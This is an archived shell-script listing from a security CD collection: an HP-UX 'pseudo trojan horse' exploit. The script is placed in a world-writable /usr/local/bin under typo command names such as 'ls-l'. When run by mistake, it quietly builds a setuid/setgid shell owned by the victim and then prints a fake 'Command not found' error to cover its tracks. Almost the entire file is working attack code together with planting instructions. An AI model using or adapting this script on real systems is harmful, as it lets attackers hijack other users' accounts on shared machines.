home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / hupux.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  31 lines

  1. #!/bin/csh
  2. # This little script file, if named properly and left in the
  3. # /usr/local/bin directory acts as a pseudo trojan horse on
  4. # HP-UX systems with world writable /usr/local/bin directories,
  5. # and /usr/local/bin in all users paths. This is the default shipping
  6. # on all recent HP-UX versions (well, on the vanila A.09.04
  7. # it is world writable, which is brand new). Continue(Y/n/c)?
  8. # This script provided for informational purposes, and will create the
  9. # file shell.<user> when run.
  10. #
  11. # Suggested links (this is in /usr/local/bin):
  12. #lrwxr-x---   1 bin      bin            2 Feb 28 13:55 dir -> sl
  13. #lrwxr-x---   1 bin      bin            2 Feb 28 13:33 la -> sl
  14. #lrwxr-x---   1 bin      bin            2 Feb 28 13:33 ls- -> sl
  15. #lrwxr-x---   1 bin      bin            2 Feb 28 13:29 ls-al -> sl
  16. #lrwxr-x---   1 bin      bin            2 Feb 28 13:29 ls-l -> sl
  17. #lrwxr-x---   1 bin      bin            2 Feb 28 13:29 ls-la -> sl
  18. #lrwxr-x---   1 bin      bin            2 Feb 28 13:28 setenv -> sl
  19. #-rwxrwxrwx   1 bin      bin          796 Feb 28 14:00 sl
  20. #
  21. # note: create this file (sl in above example), then create all the links
  22. # you want with - "ln -s sl dir", then "chgrp bin dir" and "chown bin dir"
  23. # and just wait for some unsuspecting user to run the program by mistake.
  24. cat > /usr/local/bin/bug.c << EOF
  25. main(argc,argv) int argc; char *argv[]; { execv("/bin/sh",argv); }
  26. EOF
  27. cc -o /usr/local/bin/shell.`whoami` /usr/local/bin/bug.c
  28. rm -f /usr/local/bin/bug.c
  29. chmod 5777 /usr/local/bin/shell.`whoami`
  30. echo $0 | awk '{ split($0,cmd,"/"); print cmd[5], ": Command not found." }'
  31. #                    www.hack.co.za              [2000]#